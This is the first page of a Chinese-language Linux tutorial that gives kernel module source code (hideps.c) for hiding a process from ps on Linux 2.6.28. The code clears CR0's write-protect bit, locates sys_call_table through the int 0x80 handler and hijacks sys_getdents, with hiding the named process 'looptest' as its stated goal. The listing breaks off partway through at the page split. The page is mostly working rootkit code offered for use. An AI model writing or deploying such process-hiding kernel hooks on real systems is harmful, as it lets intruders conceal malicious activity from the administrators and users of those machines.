歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux基礎 >> Linux服務器 >> 可以在Linux 2.6內核中實現隱藏進程的代碼

可以在Linux 2.6內核中實現隱藏進程的代碼

日期:2017/3/2 16:33:42   编辑:Linux服務器

網上很多類似的文章,其中很多示例程序都是在比較老的內核版本上測試過,很多在新的內核下根本無法運行,我收集了一些相關的資料,並給出一個在linux內核2.6.28(ubuntu9.04)上可以運行的程序代碼.相比其他一些文章,修改如下:

  1.增加了兩個函數,清CR0的第20位,不然在替換sys_call_table的時候會報段錯誤.

  unsigned int clear_and_return_cr0(void);

  void setback_cr0(unsigned int val);

  2.針對ubuntu9.04中,ps命令用的系統調用是sys_getdents,不是sys_getdents64(在suse系統裡面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系統調用.

  關於隱藏進程的原理,可以查看其他相關文章,主要是通過int 0x80 找sys_call_table的地址.

  測試環境: ubuntu9.04 內核版本2.6.28

  模塊代碼如下:

  /*hideps.c*/

  #include <linux/module.h>

  #include <linux/kernel.h>

  #include <asm/unistd.h>

  #include <linux/types.h>

  #include <linux/sched.h>

  #include <linux/dirent.h>

  #include <linux/string.h>

  #include <linux/file.h>

  #include <linux/fs.h>

  #include <linux/list.h>

  #include <asm/uaccess.h>

  #include <linux/unistd.h>

  //#include <sys/stat.h>

  //#include <fcntl.h>

  #define CALLOFF 100

  //使用模塊參數來定義需要隱藏的進程名

  int orig_cr0;

  char psname[10]="looptest";

  char *processname=psname;

  //module_param(processname, charp, 0);

  struct {

  unsigned short limit;

  unsigned int base;

  } __attribute__ ((packed)) idtr;

  struct {

  unsigned short off1;

  unsigned short sel;

  unsigned char none,flags;

  unsigned short off2;

  } __attribute__ ((packed)) * idt;

  struct linux_dirent{

  unsigned long d_ino;

  unsigned long d_off;

  unsigned short d_reclen;

  char d_name[1];

  };

  void** sys_call_table;

  unsigned int clear_and_return_cr0(void)

  {

  unsigned int cr0 = 0;

  unsigned int ret;

  asm volatile ("movl %%cr0, %%eax"

  : "=a"(cr0)

  );

  ret = cr0;

  /*clear the 20th bit of CR0,*/

  cr0 &= 0xfffeffff;

  asm volatile ("movl %%eax, %%cr0"

  :

  : "a"(cr0)

  );

  return ret;

  }

  void setback_cr0(unsigned int val)

  {

  asm volatile ("movl %%eax, %%cr0"

  :

  : "a"(val)

  );

  }

  asmlinkage long (*orig_getdents)(unsigned int fd,

  struct linux_dirent __user *dirp, unsigned int count);

  char * findoffset(char *start)

  {

  char *p;

  for (p = start; p < start + CALLOFF; p++)

  if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')

  return p;

  return NULL;

  }

  int myatoi(char *str)

  {

  int res = 0;

  int mul = 1;

123下一頁
Copyright © Linux教程網 All Rights Reserved